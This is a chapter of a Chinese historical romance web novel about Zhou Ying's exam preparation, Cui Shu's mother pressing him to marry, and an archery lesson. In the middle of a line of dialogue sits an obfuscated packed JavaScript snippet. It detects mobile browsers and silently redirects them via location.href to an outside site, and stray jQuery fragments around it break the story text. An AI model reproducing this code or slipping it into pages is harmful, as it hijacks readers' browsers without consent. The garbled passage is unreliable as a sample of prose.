大考在即，周缨无暇分心去思量，自个儿昨夜为何会生出那般莫名的情绪。


    夫子每日授完课会回城西，她并无太多与之交流的机会，恰好崔述在此时回府，周缨自然不想错过这等大好机会，果真每日待他下值回来，不管多晚，都披星戴月地拿着自己梳理出来的问题去向他请教。


    崔述知她心意已定，多说无益，亦不再出言劝阻，只尽心为她答疑。


    这日崔述难得回来得早，与大家一道用晚饭。周缨饭后早早捧书过来，崔述为她指点迷津后，见她仍愁容满面，揶揄道：“女子能通读四书者少之又少，你如此夙兴夜寐，虽未必悉知其义，但应付初试已易如反掌，何需这般紧张？”


    “人外有人，万一遇着高手怎么办？”


    崔述失笑：“又不是只选一个。”


    “好像有点道理。”周缨以手托腮，先是赞同，后又摇头，“不行，还是不能掉以轻心。”


    掌心湿漉漉的，周缨低头去瞧，原是不经意染上了墨汁，忙将笔搁下，想拿帕子擦，又停住手，正欲起身去收拾，崔述已先一步将一旁的铜盆端了过来。


    周缨埋首去洗，使劲儿搓了几下，手心都已搓红，也只是让墨迹稍淡了些，她面上有些挂不住，讪讪道：“这墨真好，印书想必能存世百年不在话下。”


    崔述一哂，将盆搁至案上，捉过她的手，取过一方锦帕替她擦拭起来。


    微凉的温度隔着布料传来，周缨胸腔一震，想要抽回手，又觉反是此地无银横生枝蔓，只好僵在原处。


    崔述浑然不觉，只道这墨果然顽固，反手取来胰子，将帕子润湿，打上胰子搓出沫，才又去擦她的手。


    帕上的水滴坠入铜盆之中，惊起一圈涟漪，这涟漪逐渐放大，一圈一圈地漾进周缨心里，令她恍然惊醒。


    她垂眸看去，虎口并食指被搓洗得微红，轻微起皱，墨痕已被清理得干干净净，她收回手，低声道谢：“多谢。”又取过他手中的巾帕清洗起来，耳垂并脖颈泛起一层轻微的潮红。


    她屈身背对着他，手轻微发颤，水溅出几滴落在书卷之上。


    崔述侧身去瞧她，察觉出她的不自在，后知后觉方才僭越，想出言解释，但到底没说什么，只轻轻握了握垂在身侧的手，注视着她端着铜盆出去清洗换水。


    周缨再进来时，已然面色无异，平静说道：“帕子晾在外面了，已同仆妇交代过，干了会收进来。”


    崔述淡淡“嗯”了一声。


    案上的书卷已被整理好，周缨将其拿起抱在怀中，便要回怡园。


    竹影见她出来，迎上来替她添衣，周缨抱书站在窗边任由摆弄，轻微的夜风将崔述的声音送至：“明日我休沐，同夫子告个假，早些过来，授你最后一课。”


    翌日朝中休沐，一大家子难得聚齐，早膳过后，于饭桌上闲话了几句方散，周缨先一步回院中准备，预备晚些去找崔述。


    崔述随即告退，却被韦湘叫住：“三郎，你留下，我有话同你说。”


    众人离开后，崔述问道：“母亲有何事赐教？”


    “明知故问。”韦湘起身，“陪我去转转。”


    大丫头捧着一只长条螺钿匣跟上，身后众侍女随行，行至半途，韦湘开门见山：“朝中同你这般年纪，尚未成家的还有谁？你倒与我说来。再这般下去，崔家都要成朝堂笑柄了。”


    崔述垂首致歉：“连累母亲几度忧心，实是孩儿不孝。”


    “早年在外做官，耽误数年，那时说年纪尚小，不着急。好不容易回京，终于说动你同意议亲，紧要关头上却又出了那档子事，稀里糊涂罢官离京，如今又耽误了快两年。”韦湘叹道，“徐公之女今已是双九之年，再耽搁不得，倘若再不议定，自然会另择良婿，再要找家世品性才貌都这般出众的女儿家就难了。”


    “母亲，我暂且还没有这个心思。”


    韦湘怒从心起：“你当真要孤家寡人一辈子？”


    倘若要走的路势必众叛亲离，孤身一人自然是最佳选择。


    若是以前，一句“有何不可”或许能轻易出口，但今日，他竟有些犹疑，于是默了须臾，只随口道：“母亲恕罪。”


    “徐公是你在刑部的引路人，于你既有知遇之恩，又有照拂之义，两家若能成秦晋之好，当属天赐良缘。你且瞧瞧徐公幼女的样貌再说，顶顶水灵的人儿，你若见了，很难不心动。”


    大丫头捧匣上前，韦湘亲自取出其中的卷轴，沉鱼落雁之貌呼之欲出，崔述目不斜视，淡道：“母亲暂且收了这条心吧，当初本也未同徐家议定，徐公心中有数，这两年也未必是在等咱们，无需咱们回话。”


    胸中哽着一口气，差点令韦湘喘不过气来，侍女忙在身后替她抚背。


    等平复下来，韦湘将卷轴交于侍女，转而试探道：“你是不是对那周姑娘动了心思？”


    “母亲胡说些什么，没有的事。”


    “你急什么？”


    韦湘若有所悟地瞥他一眼，叹道：“那姑娘在家里住了大半年，人品性情我倒看得清清楚楚，是个不错的，只可惜出身低了些，你若当真对她有意，待正妻入了门，纳了她也无不可，我没意见。”


    崔述想也不想便驳斥道：“母亲莫要胡说，儿子倒无碍，莫损姑娘家清誉。”


    “你当真无此意？”韦湘神色颇为怀疑，“你好不容易回家来住，父母跟前不见尽孝，蕴真那边也不见你关切，那丫头日日往你那里跑，你反倒不嫌，难不招闲话。”


    “求学心切罢了，她既有恩于我，我自当报之。”崔述肃容道，“府里下人若有乱嚼舌根的，母亲还是当提点二嫂多加管教，以免失了体统。”


    韦湘轻嗤出声：“这姑娘着实招人喜欢，于我崔家也有大恩。等开年过后，她孝期也将满了，你若当真无心，我便将她收作义女，以崔家女名义说亲，”说着去瞧他的神情，试图找出些端倪，“自能帮她寻个还不错的仕宦之家做归宿，也算是崔家的心意。”


    “母亲勿再提此话了，她性子要强，能在府里安心住上这么久，无非是为保全我，已很是不易。母亲虽是好心，但有些话不当提。”崔述望向湖面，淡道，“各人有各人的缘法，世间事，不是非要强推一把才行，还望母亲三思。”


    见他神色淡漠，语气平平，韦湘沉默下来，拧眉深思。


    “母亲不必为此事忧虑，她应当很快便会辞行了。”


    韦湘抬头，语带不解：“什么意思？”


    “稍待些时日，母亲便知晓了。”


    崔述说罢便告了退，韦湘在原地思忖半晌，同身侧的婆子怪道：“他这说的哪门子暗语？怎生猜起哑谜来了？像什么话。”


    待两人都走远了，周缨才提步前往怡园。方才她虽先从澄思堂离开，半途却被蒋萱叫住去选了两匹料子，左右推辞不得，耽误了些时辰，行至此处，便见着了韦湘打开的那幅画像。


    虽隔得远，听不清母子二人的对话，但隐隐可以判断出是幅女子的画像。


    不用深想，也能知晓他二人在谈些什么，只是不好惊动二人，不得不在此处盘桓逗留了一阵。


    她步子迈得快，自没有留意到身后还有一双注视的眼。


    崔蕴真绕至可园，仍将仆妇都留在外院，独自进院，瞧见束关懒洋洋地倚在廊柱上，问道：“三哥在哪儿呢？”


    束关指了指里屋，她便不好再进去，只能候在廊下等。


    秋日将尽，今日的日头却还不饶人，晃得人心里发慌，蕴真待了半刻，总算瞧见崔述从屋里出来，却不是惯常的家居便服，而是束身劲装，不由一愣：“三哥这身装扮作什么去？”


    “你怎么来了？”崔述边系袖间暗扣，边往花厅走。


    丫鬟奉上两杯温茶，蕴真立即呷了口，自顾自说：“一路走过来，倒是真走热了。”


    “有事？”


    蕴真清了清嗓，神神秘秘地盯着他，直把崔述盯得心生怪异，纳闷儿道：“神神叨叨地做什么？有话便说。”


    蕴真不说话，崔述会意将侍从遣退，她才凑上前，压低声音问：“三哥，你是不是瞧上周缨姐姐了？”


    崔述“笃”地将刚端起的茶杯重重放回案上，摆出兄长的架子斥道：“你如今是一天到晚不知正事，只知胡吣是不是？”


    蕴真委屈巴巴地同他装可怜，话却仍旧欠打：


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16321528|183129||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “你这是被戳破心事，恼羞成怒了罢？我是你妹妹，对你可再熟悉不过了，你这些时日真的不对劲，我要连这点都看不出来，也不必做你妹子了，明日便找块豆腐一头撞死，好叫二嫂让人把我抬出去。”


    崔述屈指在她脑门儿上一敲：“你再胡诹，我必叫母亲好生管教。”


    蕴真揉揉被敲痛的地方，噘嘴道：“你就只会这招，从小到大吓唬我多少回了，能不能换个招数？”


    “女大不中留，我晚上同二嫂知会一声，早些替你相看起来。”


    蕴真立马服输讨饶：“好了好了，不逗你了。可我刚在湖边看见周缨姐姐了呢，想是刚从二嫂那里过来，走累了歇歇脚吧，站了不少时候呢。”


    崔述抬眸看过来，眼神微凝。


    “还说不是，你敢发誓么？”蕴真取笑他，“阿兄早年教我，人无信不立，怎么如今阿兄自个儿也会说谎了？”


    崔述盯她一眼，单手并指举至耳际，见他几无犹豫，蕴真连忙将他手打落：“得了得了，我信你，别瞎发毒誓，听着怪瘆人的。”


    “我先走了，还要去听课呢。”蕴真嘴里嘟囔着，退了出去。


    崔述再度抬起方才举起的右手，视线落在掌中纹路上，莫名有些失神，好半晌，才举步迈出花厅，一眼撞见缓步进来的周缨。


    周缨亦往这边看来，见他的装束，愣了一下，说：“这是要去骑马？那我回去换身衣服。”


    “不是，就这样足够。”


    昨日他特地交代过穿轻便点，周缨今日换的窄袖小衫，虽不是专门的骑装，但也勉强可以应对大部分场合，听他如此说，歇了回去再换的心思，以免耽误他更多时间。


    崔述领她去往马房，指着其间一匹棕色的良驹叫人牵出来，马儿似通人性，急不可耐地上前在他手背上蹭了蹭，崔述摸了摸它的脖子，笑着同她说起：“它叫房星。”


    见四蹄毛色突变，洁白如雪，颇为罕见，周缨凝神细看了一阵，不由问道：“这是你以前的坐骑？”


    崔述颔首：“年纪大了些，但先前陪我离玉京去临溪，又一道返京，可以老友视之。”


    “你自己挑一匹有眼缘的。”崔述同她道。


    周缨不懂挑选马驹的技巧，沿着马房走过一圈，不见有特别喜爱的，发觉上回那匹青骢马也在其中，便指着它道：“你把它也带回来了。”


    “马通人性，平日间善待，危难之际，生死相托亦可。”


    周缨似懂非懂地点头，自马夫手里接过缰绳，跟在他身后走。


    走出巷道，两人打马往南，取人迹较少的路直奔城外。


    年夜过后，周缨便不曾再骑过马，一开始心里还有些怯，谨小慎微地控着缰，身子僵得厉害，崔述放慢速度跟在她身侧，令她逐渐安下心来，僵直的脊背缓缓松驰下来。


    见她已经适应，待出城门，崔述陡然加速，将她甩在身后。


    周缨被他这一言不发的行径激出胜负欲，一夹马腹往前冲去，丝毫不像方才还在胆怯的人。


    马上女子英姿飒爽，一马当先冲入茂密的榆木林，不忘回头笑着冲他示威。


    崔述恍然失神，忆起年夜里的场景，那时他曾站在河岸边，看着她恣意纵马林间，清晰地听到自己的心跳声。


    理智虽还在，视线却不受控制地落在她的背影上。


    直至她驰骋进一片平整的空地，看见场中竖着的红靶，惊呼出声，他才回过神来，将马引至场边草地上进食，而后大步走上前去。


    周缨盯着那只精巧的弓左看右看，想探手去摸又觉得不合适，便以眼神询问他意见。


    “左手拿弓，你先试试。”


    得了允准，周缨伸手去拿弓，不料这弓用料十足，周缨一时不防，那弓便直直砸向脚尖。


    崔述探手帮她控住弓，待沉弓止住去势，方道：“你非弱不禁风之辈，这弓难不倒你，我放开，你再试试。”


    他缓缓松开手，周缨凝神聚力，果真将那弓慢慢举起。


    崔述绕至她身后，替她掌住弓。


    微凉的风伴着醇和的嗓音送进耳中：


    “今日授你最后一课，射术。”